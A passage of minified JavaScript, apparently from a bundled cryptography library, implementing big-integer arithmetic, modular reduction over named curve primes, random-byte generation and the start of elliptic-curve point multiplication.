r=0,i=0;i<t/2;i++){var n=8192*Math.round(e[2*i+1]/t)+Math.round(e[2*i]/t)+r;e[i]=67108863&n,r=n<67108864?0:n/67108864|0}return e},p.prototype.convert13b=function(e,t,i,n){for(var a=0,s=0;s<t;s++)a+=0|e[s],i[2*s]=8191&a,a>>>=13,i[2*s+1]=8191&a,a>>>=13;for(s=2*t;s<n;++s)i[s]=0;r(0===a),r(0==(-8192&a))},p.prototype.stub=function(e){for(var t=Array(e),r=0;r<e;r++)t[r]=0;return t},p.prototype.mulp=function(e,t,r){var i=2*this.guessLen13b(e.length,t.length),n=this.makeRBT(i),a=this.stub(i),s=Array(i),o=Array(i),c=Array(i),u=Array(i),h=Array(i),d=Array(i),f=r.words;f.length=i,this.convert13b(e.words,e.length,s,i),this.convert13b(t.words,t.length,u,i),this.transform(s,a,o,c,i,n),this.transform(u,a,h,d,i,n);for(var l=0;l<i;l++){var p=o[l]*h[l]-c[l]*d[l];c[l]=o[l]*d[l]+c[l]*h[l],o[l]=p}return this.conjugate(o,c,i),this.transform(o,c,f,a,i,n),this.conjugate(f,a,i),this.normalize13b(f,i),r.negative=e.negative^t.negative,r.length=e.length+t.length,r.strip()},n.prototype.mul=function(e){var t=new n(null);return t.words=Array(this.length+e.length),this.mulTo(e,t)},n.prototype.mulf=function(e){var t=new n(null);return t.words=Array(this.length+e.length),l(this,e,t)},n.prototype.imul=function(e){return this.clone().mulTo(e,this)},n.prototype.imuln=function(e){r("number"==typeof e),r(e<67108864);for(var t=0,i=0;i<this.length;i++){var n=(0|this.words[i])*e,a=(67108863&n)+(67108863&t);t>>=26,t+=n/67108864|0,t+=a>>>26,this.words[i]=67108863&a}return 0!==t&&(this.words[i]=t,this.length++),this},n.prototype.muln=function(e){return this.clone().imuln(e)},n.prototype.sqr=function(){return this.mul(this)},n.prototype.isqr=function(){return this.imul(this.clone())},n.prototype.pow=function(e){var t=function(e){for(var t=Array(e.bitLength()),r=0;r<t.length;r++){var i=r/26|0,n=r%26;t[r]=(e.words[i]&1<<n)>>>n}return t}(e);if(0===t.length)return new n(1);for(var r=this,i=0;i<t.length&&0===t[i];i++,r=r.sqr());if(++i<t.length)for(var a=r.sqr();i<t.length;i++,a=a.sqr())0!==t[i]&&(r=r.mul(a));return r},n.prototype.iushln=function(e){r("number"==typeof e&&e>=0);var t,i=e%26,n=(e-i)/26,a=67108863>>>26-i<<26-i;if(0!==i){var s=0;for(t=0;t<this.length;t++){var o=this.words[t]&a,c=(0|this.words[t])-o<<i;this.words[t]=c|s,s=o>>>26-i}s&&(this.words[t]=s,this.length++)}if(0!==n){for(t=this.length-1;t>=0;t--)this.words[t+n]=this.words[t];for(t=0;t<n;t++)this.words[t]=0;this.length+=n}return this.strip()},n.prototype.ishln=function(e){return r(0===this.negative),this.iushln(e)},n.prototype.iushrn=function(e,t,i){var n;r("number"==typeof e&&e>=0),n=t?(t-t%26)/26:0;var a=e%26,s=Math.min((e-a)/26,this.length),o=67108863^67108863>>>a<<a,c=i;if(n=Math.max(0,n-=s),c){for(var u=0;u<s;u++)c.words[u]=this.words[u];c.length=s}if(0===s);else if(this.length>s)for(this.length-=s,u=0;u<this.length;u++)this.words[u]=this.words[u+s];else this.words[0]=0,this.length=1;var h=0;for(u=this.length-1;u>=0&&(0!==h||u>=n);u--){var d=0|this.words[u];this.words[u]=h<<26-a|d>>>a,h=d&o}return c&&0!==h&&(c.words[c.length++]=h),0===this.length&&(this.words[0]=0,this.length=1),this.strip()},n.prototype.ishrn=function(e,t,i){return r(0===this.negative),this.iushrn(e,t,i)},n.prototype.shln=function(e){return this.clone().ishln(e)},n.prototype.ushln=function(e){return this.clone().iushln(e)},n.prototype.shrn=function(e){return this.clone().ishrn(e)},n.prototype.ushrn=function(e){return this.clone().iushrn(e)},n.prototype.testn=function(e){r("number"==typeof e&&e>=0);var t=e%26,i=(e-t)/26,n=1<<t;return!(this.length<=i)&&!!(this.words[i]&n)},n.prototype.imaskn=function(e){r("number"==typeof e&&e>=0);var t=e%26,i=(e-t)/26;if(r(0===this.negative,"imaskn works only with positive numbers"),this.length<=i)return this;if(0!==t&&i++,this.length=Math.min(i,this.length),0!==t){var n=67108863^67108863>>>t<<t;this.words[this.length-1]&=n}return this.strip()},n.prototype.maskn=function(e){return this.clone().imaskn(e)},n.prototype.iaddn=function(e){return r("number"==typeof e),r(e<67108864),e<0?this.isubn(-e):0!==this.negative?1===this.length&&(0|this.words[0])<e?(this.words[0]=e-(0|this.words[0]),this.negative=0,this):(this.negative=0,this.isubn(e),this.negative=1,this):this._iaddn(e)},n.prototype._iaddn=function(e){this.words[0]+=e;for(var t=0;t<this.length&&this.words[t]>=67108864;t++)this.words[t]-=67108864,t===this.length-1?this.words[t+1]=1:this.words[t+1]++;return this.length=Math.max(this.length,t+1),this},n.prototype.isubn=function(e){if(r("number"==typeof e),r(e<67108864),e<0)return this.iaddn(-e);if(0!==this.negative)return this.negative=0,this.iaddn(e),this.negative=1,this;if(this.words[0]-=e,1===this.length&&this.words[0]<0)this.words[0]=-this.words[0],this.negative=1;else for(var t=0;t<this.length&&this.words[t]<0;t++)this.words[t]+=67108864,this.words[t+1]-=1;return this.strip()},n.prototype.addn=function(e){return this.clone().iaddn(e)},n.prototype.subn=function(e){return this.clone().isubn(e)},n.prototype.iabs=function(){return this.negative=0,this},n.prototype.abs=function(){return this.clone().iabs()},n.prototype._ishlnsubmul=function(e,t,i){var n,a,s=e.length+i;this._expand(s);var o=0;for(n=0;n<e.length;n++){a=(0|this.words[n+i])+o;var c=(0|e.words[n])*t;o=((a-=67108863&c)>>26)-(c/67108864|0),this.words[n+i]=67108863&a}for(;n<this.length-i;n++)o=(a=(0|this.words[n+i])+o)>>26,this.words[n+i]=67108863&a;if(0===o)return this.strip();for(r(-1===o),o=0,n=0;n<this.length;n++)o=(a=-(0|this.words[n])+o)>>26,this.words[n]=67108863&a;return this.negative=1,this.strip()},n.prototype._wordDiv=function(e,t){var r=(this.length,e.length),i=this.clone(),a=e,s=0|a.words[a.length-1];0!==(r=26-this._countBits(s))&&(a=a.ushln(r),i.iushln(r),s=0|a.words[a.length-1]);var o,c=i.length-a.length;if("mod"!==t){(o=new n(null)).length=c+1,o.words=Array(o.length);for(var u=0;u<o.length;u++)o.words[u]=0}var h=i.clone()._ishlnsubmul(a,1,c);0===h.negative&&(i=h,o&&(o.words[c]=1));for(var d=c-1;d>=0;d--){var f=67108864*(0|i.words[a.length+d])+(0|i.words[a.length+d-1]);for(f=Math.min(f/s|0,67108863),i._ishlnsubmul(a,f,d);0!==i.negative;)f--,i.negative=0,i._ishlnsubmul(a,1,d),i.isZero()||(i.negative^=1);o&&(o.words[d]=f)}return o&&o.strip(),i.strip(),"div"!==t&&0!==r&&i.iushrn(r),{div:o||null,mod:i}},n.prototype.divmod=function(e,t,i){return r(!e.isZero()),this.isZero()?{div:new n(0),mod:new n(0)}:0!==this.negative&&0===e.negative?(o=this.neg().divmod(e,t),"mod"!==t&&(a=o.div.neg()),"div"!==t&&(s=o.mod.neg(),i&&0!==s.negative&&s.iadd(e)),{div:a,mod:s}):0===this.negative&&0!==e.negative?(o=this.divmod(e.neg(),t),"mod"!==t&&(a=o.div.neg()),{div:a,mod:o.mod}):0!=(this.negative&e.negative)?(o=this.neg().divmod(e.neg(),t),"div"!==t&&(s=o.mod.neg(),i&&0!==s.negative&&s.isub(e)),{div:o.div,mod:s}):e.length>this.length||this.cmp(e)<0?{div:new n(0),mod:this}:1===e.length?"div"===t?{div:this.divn(e.words[0]),mod:null}:"mod"===t?{div:null,mod:new n(this.modn(e.words[0]))}:{div:this.divn(e.words[0]),mod:new n(this.modn(e.words[0]))}:this._wordDiv(e,t);var a,s,o},n.prototype.div=function(e){return this.divmod(e,"div",!1).div},n.prototype.mod=function(e){return this.divmod(e,"mod",!1).mod},n.prototype.umod=function(e){return this.divmod(e,"mod",!0).mod},n.prototype.divRound=function(e){var t=this.divmod(e);if(t.mod.isZero())return t.div;var r=0!==t.div.negative?t.mod.isub(e):t.mod,i=e.ushrn(1),n=e.andln(1),a=r.cmp(i);return a<0||1===n&&0===a?t.div:0!==t.div.negative?t.div.isubn(1):t.div.iaddn(1)},n.prototype.modn=function(e){r(e<=67108863);for(var t=(1<<26)%e,i=0,n=this.length-1;n>=0;n--)i=(t*i+(0|this.words[n]))%e;return i},n.prototype.idivn=function(e){r(e<=67108863);for(var t=0,i=this.length-1;i>=0;i--){var n=(0|this.words[i])+67108864*t;this.words[i]=n/e|0,t=n%e}return this.strip()},n.prototype.divn=function(e){return this.clone().idivn(e)},n.prototype.egcd=function(e){r(0===e.negative),r(!e.isZero());var t=this,i=e.clone();t=0!==t.negative?t.umod(e):t.clone();for(var a=new n(1),s=new n(0),o=new n(0),c=new n(1),u=0;t.isEven()&&i.isEven();)t.iushrn(1),i.iushrn(1),++u;for(var h=i.clone(),d=t.clone();!t.isZero();){for(var f=0,l=1;0==(t.words[0]&l)&&f<26;++f,l<<=1);if(f>0)for(t.iushrn(f);f-- >0;)(a.isOdd()||s.isOdd())&&(a.iadd(h),s.isub(d)),a.iushrn(1),s.iushrn(1);for(var p=0,y=1;0==(i.words[0]&y)&&p<26;++p,y<<=1);if(p>0)for(i.iushrn(p);p-- >0;)(o.isOdd()||c.isOdd())&&(o.iadd(h),c.isub(d)),o.iushrn(1),c.iushrn(1);t.cmp(i)>=0?(t.isub(i),a.isub(o),s.isub(c)):(i.isub(t),o.isub(a),c.isub(s))}return{a:o,b:c,gcd:i.iushln(u)}},n.prototype._invmp=function(e){r(0===e.negative),r(!e.isZero());var t=this,i=e.clone();t=0!==t.negative?t.umod(e):t.clone();for(var a,s=new n(1),o=new n(0),c=i.clone();t.cmpn(1)>0&&i.cmpn(1)>0;){for(var u=0,h=1;0==(t.words[0]&h)&&u<26;++u,h<<=1);if(u>0)for(t.iushrn(u);u-- >0;)s.isOdd()&&s.iadd(c),s.iushrn(1);for(var d=0,f=1;0==(i.words[0]&f)&&d<26;++d,f<<=1);if(d>0)for(i.iushrn(d);d-- >0;)o.isOdd()&&o.iadd(c),o.iushrn(1);t.cmp(i)>=0?(t.isub(i),s.isub(o)):(i.isub(t),o.isub(s))}return(a=0===t.cmpn(1)?s:o).cmpn(0)<0&&a.iadd(e),a},n.prototype.gcd=function(e){if(this.isZero())return e.abs();if(e.isZero())return this.abs();var t=this.clone(),r=e.clone();t.negative=0,r.negative=0;for(var i=0;t.isEven()&&r.isEven();i++)t.iushrn(1),r.iushrn(1);for(;;){for(;t.isEven();)t.iushrn(1);for(;r.isEven();)r.iushrn(1);var n=t.cmp(r);if(n<0){var a=t;t=r,r=a}else if(0===n||0===r.cmpn(1))break;t.isub(r)}return r.iushln(i)},n.prototype.invm=function(e){return this.egcd(e).a.umod(e)},n.prototype.isEven=function(){return 0==(1&this.words[0])},n.prototype.isOdd=function(){return 1==(1&this.words[0])},n.prototype.andln=function(e){return this.words[0]&e},n.prototype.bincn=function(e){r("number"==typeof e);var t=e%26,i=(e-t)/26,n=1<<t;if(this.length<=i)return this._expand(i+1),this.words[i]|=n,this;for(var a=n,s=i;0!==a&&s<this.length;s++){var o=0|this.words[s];a=(o+=a)>>>26,o&=67108863,this.words[s]=o}return 0!==a&&(this.words[s]=a,this.length++),this},n.prototype.isZero=function(){return 1===this.length&&0===this.words[0]},n.prototype.cmpn=function(e){var t,i=e<0;if(0!==this.negative&&!i)return-1;if(0===this.negative&&i)return 1;if(this.strip(),this.length>1)t=1;else{i&&(e=-e),r(e<=67108863,"Number is too big");var n=0|this.words[0];t=n===e?0:n<e?-1:1}return 0!==this.negative?0|-t:t},n.prototype.cmp=function(e){if(0!==this.negative&&0===e.negative)return-1;if(0===this.negative&&0!==e.negative)return 1;var t=this.ucmp(e);return 0!==this.negative?0|-t:t},n.prototype.ucmp=function(e){if(this.length>e.length)return 1;if(this.length<e.length)return-1;for(var t=0,r=this.length-1;r>=0;r--){var i=0|this.words[r],n=0|e.words[r];if(i!==n){i<n?t=-1:i>n&&(t=1);break}}return t},n.prototype.gtn=function(e){return 1===this.cmpn(e)},n.prototype.gt=function(e){return 1===this.cmp(e)},n.prototype.gten=function(e){return this.cmpn(e)>=0},n.prototype.gte=function(e){return this.cmp(e)>=0},n.prototype.ltn=function(e){return-1===this.cmpn(e)},n.prototype.lt=function(e){return-1===this.cmp(e)},n.prototype.lten=function(e){return this.cmpn(e)<=0},n.prototype.lte=function(e){return this.cmp(e)<=0},n.prototype.eqn=function(e){return 0===this.cmpn(e)},n.prototype.eq=function(e){return 0===this.cmp(e)},n.red=function(e){return new _(e)},n.prototype.toRed=function(e){return r(!this.red,"Already a number in reduction context"),r(0===this.negative,"red works only with positives"),e.convertTo(this)._forceRed(e)},n.prototype.fromRed=function(){return r(this.red,"fromRed works only with numbers in reduction context"),this.red.convertFrom(this)},n.prototype._forceRed=function(e){return this.red=e,this},n.prototype.forceRed=function(e){return r(!this.red,"Already a number in reduction context"),this._forceRed(e)},n.prototype.redAdd=function(e){return r(this.red,"redAdd works only with red numbers"),this.red.add(this,e)},n.prototype.redIAdd=function(e){return r(this.red,"redIAdd works only with red numbers"),this.red.iadd(this,e)},n.prototype.redSub=function(e){return r(this.red,"redSub works only with red numbers"),this.red.sub(this,e)},n.prototype.redISub=function(e){return r(this.red,"redISub works only with red numbers"),this.red.isub(this,e)},n.prototype.redShl=function(e){return r(this.red,"redShl works only with red numbers"),this.red.shl(this,e)},n.prototype.redMul=function(e){return r(this.red,"redMul works only with red numbers"),this.red._verify2(this,e),this.red.mul(this,e)},n.prototype.redIMul=function(e){return r(this.red,"redMul works only with red numbers"),this.red._verify2(this,e),this.red.imul(this,e)},n.prototype.redSqr=function(){return r(this.red,"redSqr works only with red numbers"),this.red._verify1(this),this.red.sqr(this)},n.prototype.redISqr=function(){return r(this.red,"redISqr works only with red numbers"),this.red._verify1(this),this.red.isqr(this)},n.prototype.redSqrt=function(){return r(this.red,"redSqrt works only with red numbers"),this.red._verify1(this),this.red.sqrt(this)},n.prototype.redInvm=function(){return r(this.red,"redInvm works only with red numbers"),this.red._verify1(this),this.red.invm(this)},n.prototype.redNeg=function(){return r(this.red,"redNeg works only with red numbers"),this.red._verify1(this),this.red.neg(this)},n.prototype.redPow=function(e){return r(this.red&&!e.red,"redPow(normalNum)"),this.red._verify1(this),this.red.pow(this,e)};var y={k256:null,p224:null,p192:null,p25519:null};function b(e,t){this.name=e,this.p=new n(t,16),this.n=this.p.bitLength(),this.k=new n(1).iushln(this.n).isub(this.p),this.tmp=this._tmp()}function m(){b.call(this,"k256","ffffffff ffffffff ffffffff ffffffff ffffffff ffffffff fffffffe fffffc2f")}function g(){b.call(this,"p224","ffffffff ffffffff ffffffff ffffffff 00000000 00000000 00000001")}function w(){b.call(this,"p192","ffffffff ffffffff ffffffff fffffffe ffffffff ffffffff")}function v(){b.call(this,"25519","7fffffffffffffff ffffffffffffffff ffffffffffffffff ffffffffffffffed")}function _(e){if("string"==typeof e){var t=n._prime(e);this.m=t.p,this.prime=t}else r(e.gtn(1),"modulus must be greater than 1"),this.m=e,this.prime=null}function k(e){_.call(this,e),this.shift=this.m.bitLength(),this.shift%26!=0&&(this.shift+=26-this.shift%26),this.r=new n(1).iushln(this.shift),this.r2=this.imod(this.r.sqr()),this.rinv=this.r._invmp(this.m),this.minv=this.rinv.mul(this.r).isubn(1).div(this.m),this.minv=this.minv.umod(this.r),this.minv=this.r.sub(this.minv)}b.prototype._tmp=function(){var e=new n(null);return e.words=Array(Math.ceil(this.n/13)),e},b.prototype.ireduce=function(e){var t,r=e;do{this.split(r,this.tmp),t=(r=(r=this.imulK(r)).iadd(this.tmp)).bitLength()}while(t>this.n);var i=t<this.n?-1:r.ucmp(this.p);return 0===i?(r.words[0]=0,r.length=1):i>0?r.isub(this.p):r.strip(),r},b.prototype.split=function(e,t){e.iushrn(this.n,0,t)},b.prototype.imulK=function(e){return e.imul(this.k)},i(m,b),m.prototype.split=function(e,t){for(var r=4194303,i=Math.min(e.length,9),n=0;n<i;n++)t.words[n]=e.words[n];if(t.length=i,e.length<=9)return e.words[0]=0,void(e.length=1);var a=e.words[9];for(t.words[t.length++]=a&r,n=10;n<e.length;n++){var s=0|e.words[n];e.words[n-10]=(s&r)<<4|a>>>22,a=s}a>>>=22,e.words[n-10]=a,0===a&&e.length>10?e.length-=10:e.length-=9},m.prototype.imulK=function(e){e.words[e.length]=0,e.words[e.length+1]=0,e.length+=2;for(var t=0,r=0;r<e.length;r++){var i=0|e.words[r];t+=977*i,e.words[r]=67108863&t,t=64*i+(t/67108864|0)}return 0===e.words[e.length-1]&&(e.length--,0===e.words[e.length-1]&&e.length--),e},i(g,b),i(w,b),i(v,b),v.prototype.imulK=function(e){for(var t=0,r=0;r<e.length;r++){var i=19*(0|e.words[r])+t,n=67108863&i;i>>>=26,e.words[r]=n,t=i}return 0!==t&&(e.words[e.length++]=t),e},n._prime=function(e){if(y[e])return y[e];var t;if("k256"===e)t=new m;else if("p224"===e)t=new g;else if("p192"===e)t=new w;else{if("p25519"!==e)throw Error("Unknown prime "+e);t=new v}return y[e]=t,t},_.prototype._verify1=function(e){r(0===e.negative,"red works only with positives"),r(e.red,"red works only with red numbers")},_.prototype._verify2=function(e,t){r(0==(e.negative|t.negative),"red works only with positives"),r(e.red&&e.red===t.red,"red works only with red numbers")},_.prototype.imod=function(e){return this.prime?this.prime.ireduce(e)._forceRed(this):e.umod(this.m)._forceRed(this)},_.prototype.neg=function(e){return e.isZero()?e.clone():this.m.sub(e)._forceRed(this)},_.prototype.add=function(e,t){this._verify2(e,t);var r=e.add(t);return r.cmp(this.m)>=0&&r.isub(this.m),r._forceRed(this)},_.prototype.iadd=function(e,t){this._verify2(e,t);var r=e.iadd(t);return r.cmp(this.m)>=0&&r.isub(this.m),r},_.prototype.sub=function(e,t){this._verify2(e,t);var r=e.sub(t);return r.cmpn(0)<0&&r.iadd(this.m),r._forceRed(this)},_.prototype.isub=function(e,t){this._verify2(e,t);var r=e.isub(t);return r.cmpn(0)<0&&r.iadd(this.m),r},_.prototype.shl=function(e,t){return this._verify1(e),this.imod(e.ushln(t))},_.prototype.imul=function(e,t){return this._verify2(e,t),this.imod(e.imul(t))},_.prototype.mul=function(e,t){return this._verify2(e,t),this.imod(e.mul(t))},_.prototype.isqr=function(e){return this.imul(e,e.clone())},_.prototype.sqr=function(e){return this.mul(e,e)},_.prototype.sqrt=function(e){if(e.isZero())return e.clone();var t=this.m.andln(3);if(r(t%2==1),3===t){var i=this.m.add(new n(1)).iushrn(2);return this.pow(e,i)}for(var a=this.m.subn(1),s=0;!a.isZero()&&0===a.andln(1);)s++,a.iushrn(1);r(!a.isZero());var o=new n(1).toRed(this),c=o.redNeg(),u=this.m.subn(1).iushrn(1),h=this.m.bitLength();for(h=new n(2*h*h).toRed(this);0!==this.pow(h,u).cmp(c);)h.redIAdd(c);for(var d=this.pow(h,a),f=this.pow(e,a.addn(1).iushrn(1)),l=this.pow(e,a),p=s;0!==l.cmp(o);){for(var y=l,b=0;0!==y.cmp(o);b++)y=y.redSqr();r(b<p);var m=this.pow(d,new n(1).iushln(p-b-1));f=f.redMul(m),d=m.redSqr(),l=l.redMul(d),p=b}return f},_.prototype.invm=function(e){var t=e._invmp(this.m);return 0!==t.negative?(t.negative=0,this.imod(t).redNeg()):this.imod(t)},_.prototype.pow=function(e,t){if(t.isZero())return new n(1).toRed(this);if(0===t.cmpn(1))return e.clone();var r=Array(16);r[0]=new n(1).toRed(this),r[1]=e;for(var i=2;i<r.length;i++)r[i]=this.mul(r[i-1],e);var a=r[0],s=0,o=0,c=t.bitLength()%26;for(0===c&&(c=26),i=t.length-1;i>=0;i--){for(var u=t.words[i],h=c-1;h>=0;h--){var d=u>>h&1;a!==r[0]&&(a=this.sqr(a)),0!==d||0!==s?(s<<=1,s|=d,(4===++o||0===i&&0===h)&&(a=this.mul(a,r[s]),o=0,s=0)):o=0}c=26}return a},_.prototype.convertTo=function(e){var t=e.umod(this.m);return t===e?t.clone():t},_.prototype.convertFrom=function(e){var t=e.clone();return t.red=null,t},n.mont=function(e){return new k(e)},i(k,_),k.prototype.convertTo=function(e){return this.imod(e.ushln(this.shift))},k.prototype.convertFrom=function(e){var t=this.imod(e.mul(this.rinv));return t.red=null,t},k.prototype.imul=function(e,t){if(e.isZero()||t.isZero())return e.words[0]=0,e.length=1,e;var r=e.imul(t),i=r.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m),n=r.isub(i).iushrn(this.shift),a=n;return n.cmp(this.m)>=0?a=n.isub(this.m):n.cmpn(0)<0&&(a=n.iadd(this.m)),a._forceRed(this)},k.prototype.mul=function(e,t){if(e.isZero()||t.isZero())return new n(0)._forceRed(this);var r=e.mul(t),i=r.maskn(this.shift).mul(this.minv).imaskn(this.shift).mul(this.m),a=r.isub(i).iushrn(this.shift),s=a;return a.cmp(this.m)>=0?s=a.isub(this.m):a.cmpn(0)<0&&(s=a.iadd(this.m)),s._forceRed(this)},k.prototype.invm=function(e){return this.imod(e._invmp(this.m).mul(this.r2))._forceRed(this)}}(e,et)})),Rf=/*#__PURE__*/Object.freeze({__proto__:null,default:Df,__moduleExports:Df});class If{constructor(e){if(void 0===e)throw Error("Invalid BigInteger input");this.value=new Df(e)}clone(){const e=new If(null);return this.value.copy(e.value),e}iinc(){return this.value.iadd(new Df(1)),this}inc(){return this.clone().iinc()}idec(){return this.value.isub(new Df(1)),this}dec(){return this.clone().idec()}iadd(e){return this.value.iadd(e.value),this}add(e){return this.clone().iadd(e)}isub(e){return this.value.isub(e.value),this}sub(e){return this.clone().isub(e)}imul(e){return this.value.imul(e.value),this}mul(e){return this.clone().imul(e)}imod(e){return this.value=this.value.umod(e.value),this}mod(e){return this.clone().imod(e)}modExp(e,t){const r=t.isEven()?Df.red(t.value):Df.mont(t.value),i=this.clone();return i.value=i.value.toRed(r).redPow(e.value).fromRed(),i}modInv(e){if(!this.gcd(e).isOne())throw Error("Inverse does not exist");return new If(this.value.invm(e.value))}gcd(e){return new If(this.value.gcd(e.value))}ileftShift(e){return this.value.ishln(e.value.toNumber()),this}leftShift(e){return this.clone().ileftShift(e)}irightShift(e){return this.value.ishrn(e.value.toNumber()),this}rightShift(e){return this.clone().irightShift(e)}equal(e){return this.value.eq(e.value)}lt(e){return this.value.lt(e.value)}lte(e){return this.value.lte(e.value)}gt(e){return this.value.gt(e.value)}gte(e){return this.value.gte(e.value)}isZero(){return this.value.isZero()}isOne(){return this.value.eq(new Df(1))}isNegative(){return this.value.isNeg()}isEven(){return this.value.isEven()}abs(){const e=this.clone();return e.value=e.value.abs(),e}toString(){return this.value.toString()}toNumber(){return this.value.toNumber()}getBit(e){return this.value.testn(e)?1:0}bitLength(){return this.value.bitLength()}byteLength(){return this.value.byteLength()}toUint8Array(e="be",t){return this.value.toArrayLike(Uint8Array,e,t)}}var Uf,Bf=/*#__PURE__*/Object.freeze({__proto__:null,default:If}),Tf=tt((function(e,t){var r=t;function i(e){return 1===e.length?"0"+e:e}function n(e){for(var t="",r=0;r<e.length;r++)t+=i(e[r].toString(16));return t}r.toArray=function(e,t){if(Array.isArray(e))return e.slice();if(!e)return[];var r=[];if("string"!=typeof e){for(var i=0;i<e.length;i++)r[i]=0|e[i];return r}if("hex"===t){(e=e.replace(/[^a-z0-9]+/gi,"")).length%2!=0&&(e="0"+e);for(i=0;i<e.length;i+=2)r.push(parseInt(e[i]+e[i+1],16))}else for(i=0;i<e.length;i++){var n=e.charCodeAt(i),a=n>>8,s=255&n;a?r.push(a,s):r.push(s)}return r},r.zero2=i,r.toHex=n,r.encode=function(e,t){return"hex"===t?n(e):e}})),zf=tt((function(e,t){var r=t;r.assert=Qe,r.toArray=Tf.toArray,r.zero2=Tf.zero2,r.toHex=Tf.toHex,r.encode=Tf.encode,r.getNAF=function(e,t){for(var r=[],i=1<<t+1,n=e.clone();n.cmpn(1)>=0;){var a;if(n.isOdd()){var s=n.andln(i-1);a=s>(i>>1)-1?(i>>1)-s:s,n.isubn(a)}else a=0;r.push(a);for(var o=0!==n.cmpn(0)&&0===n.andln(i-1)?t+1:1,c=1;c<o;c++)r.push(0);n.iushrn(o)}return r},r.getJSF=function(e,t){var r=[[],[]];e=e.clone(),t=t.clone();for(var i=0,n=0;e.cmpn(-i)>0||t.cmpn(-n)>0;){var a,s,o,c=e.andln(3)+i&3,u=t.andln(3)+n&3;if(3===c&&(c=-1),3===u&&(u=-1),0==(1&c))a=0;else a=3!==(o=e.andln(7)+i&7)&&5!==o||2!==u?c:-c;if(r[0].push(a),0==(1&u))s=0;else s=3!==(o=t.andln(7)+n&7)&&5!==o||2!==c?u:-u;r[1].push(s),2*i===a+1&&(i=1-i),2*n===s+1&&(n=1-n),e.iushrn(1),t.iushrn(1)}return r},r.cachedProperty=function(e,t,r){var i="_"+t;e.prototype[t]=function(){return void 0!==this[i]?this[i]:this[i]=r.call(this)}},r.parseBytes=function(e){return"string"==typeof e?r.toArray(e,"hex"):e},r.intFromLE=function(e){return new Df(e,"hex","le")}})),qf=function(e){return Uf||(Uf=new Of(null)),Uf.generate(e)};function Of(e){this.rand=e}var Ff=Of;if(Of.prototype.generate=function(e){return this._rand(e)},Of.prototype._rand=function(e){if(this.rand.getBytes)return this.rand.getBytes(e);for(var t=new Uint8Array(e),r=0;r<t.length;r++)t[r]=this.rand.getByte();return t},"object"==typeof self)self.crypto&&self.crypto.getRandomValues?Of.prototype._rand=function(e){var t=new Uint8Array(e);return self.crypto.getRandomValues(t),t}:self.msCrypto&&self.msCrypto.getRandomValues?Of.prototype._rand=function(e){var t=new Uint8Array(e);return self.msCrypto.getRandomValues(t),t}:"object"==typeof window&&(Of.prototype._rand=function(){throw Error("Not implemented yet")});else try{var Nf=void 0;if("function"!=typeof Nf.randomBytes)throw Error("Not supported");Of.prototype._rand=function(e){return Nf.randomBytes(e)}}catch(e){}qf.Rand=Ff;var Lf=zf.getNAF,jf=zf.getJSF,Wf=zf.assert;function Hf(e,t){this.type=e,this.p=new Df(t.p,16),this.red=t.prime?Df.red(t.prime):Df.mont(this.p),this.zero=new Df(0).toRed(this.red),this.one=new Df(1).toRed(this.red),this.two=new Df(2).toRed(this.red),this.n=t.n&&new Df(t.n,16),this.g=t.g&&this.pointFromJSON(t.g,t.gRed),this._wnafT1=[,,,,],this._wnafT2=[,,,,],this._wnafT3=[,,,,],this._wnafT4=[,,,,];var r=this.n&&this.p.div(this.n);!r||r.cmpn(100)>0?this.redN=null:(this._maxwellTrick=!0,this.redN=this.n.toRed(this.red))}var Gf=Hf;function Vf(e,t){this.curve=e,this.type=t,this.precomputed=null}Hf.prototype.point=function(){throw Error("Not implemented")},Hf.prototype.validate=function(){throw Error("Not implemented")},Hf.prototype._fixedNafMul=function(e,t){Wf(e.precomputed);var r=e._getDoubles(),i=Lf(t,1),n=(1<<r.step+1)-(r.step%2==0?2:1);n/=3;for(var a=[],s=0;s<i.length;s+=r.step){var o=0;for(t=s+r.step-1;t>=s;t--)o=(o<<1)+i[t];a.push(o)}for(var c=this.jpoint(null,null,null),u=this.jpoint(null,null,null),h=n;h>0;h--){for(s=0;s<a.length;s++){(o=a[s])===h?u=u.mixedAdd(r.points[s]):o===-h&&(u=u.mixedAdd(r.points[s].neg()))}c=c.add(u)}return c.toP()},Hf.prototype._wnafMul=function(e,t){var r=4,i=e._getNAFPoints(r);r=i.wnd;for(var n=i.points,a=Lf(t,r),s=this.jpoint(null,null,null),o=a.length-1;o>=0;o--){for(t=0;o>=0&&0===a[o];o--)t++;if(o>=0&&t++,s=s.dblp(t),o<0)break;var c=a[o];Wf(0!==c),s="affine"===e.type?c>0?s.mixedAdd(n[c-1>>1]):s.mixedAdd(n[-c-1>>1].neg()):c>0?s.add(n[c-1>>1]):s.add(n[-c-1>>1].neg())}return"affine"===e.type?s.toP():s},Hf.prototype._wnafMulAdd=function(e,t,r,i,n){for(var a=this._wnafT1,s=this._wnafT2,o=this._wnafT3,c=0,u=0;u<i;u++){var h=(A=t[u])._getNAFPoints(e);a[u]=h.wnd,s[u]=h.points}for(u=i-1;u>=1;u-=2){var d=u-1,f=u;if(1===a[d]&&1===a[f]){var l=[t[d],null,null,t[f]];0===t[d].y.cmp(t[f].y)?(l[1]=t[d].add(t[f]),l[2]=t[d].toJ().mixedAdd(t[f].neg())):0===t[d].y.cmp(t[f].y.redNeg())?(l[1]=t[d].toJ().mixedAdd(t[f]),l[2]=t[d].add(t[f].neg())):(l[1]=t[d].toJ().mixedAdd(t[f]),l[2]=t[d].toJ().mixedAdd(t[f].neg()));var p=[-3,-1,-5,-7,0,7,5,1,3],y=jf(r[d],r[f]);c=Math.max(y[0].length,c),o[d]=Array(c),o[f]=Array(c);for(var b=0;b<c;b++){var m=0|y[0][b],g=0|y[1][b];o[d][b]=p[3*(m+1)+(g+1)],o[f][b]=0,s[d]=l}}else o[d]=Lf(r[d],a[d]),o[f]=Lf(r[f],a[f]),c=Math.max(o[d].length,c),c=Math.max(o[f].length,c)}var w=this.jpoint(null,null,null),v=this._wnafT4;for(u=c;u>=0;u--){for(var _=0;u>=0;){var k=!0;for(b=0;b<i;b++)v[b]=0|o[b][u],0!==v[b]&&(k=!1);if(!k)break;_++,u--}if(u>=0&&_++,w=w.dblp(_),u<0)break;for(b=0;b<i;b++){var A,S=v[b];0!==S&&(S>0?A=s[b][S-1>>1]:S<0&&(A=s[b][-S-1>>1].neg()),w="affine"===A.type?w.mixedAdd(A):w.add(A))}}for(u=0;u<i;u++)s[u]=null;return n?w:w.toP()},Hf.BasePoint=Vf,Vf.prototype.eq=function(){throw Error("Not implemented")},Vf.prototype.validate=function(){return 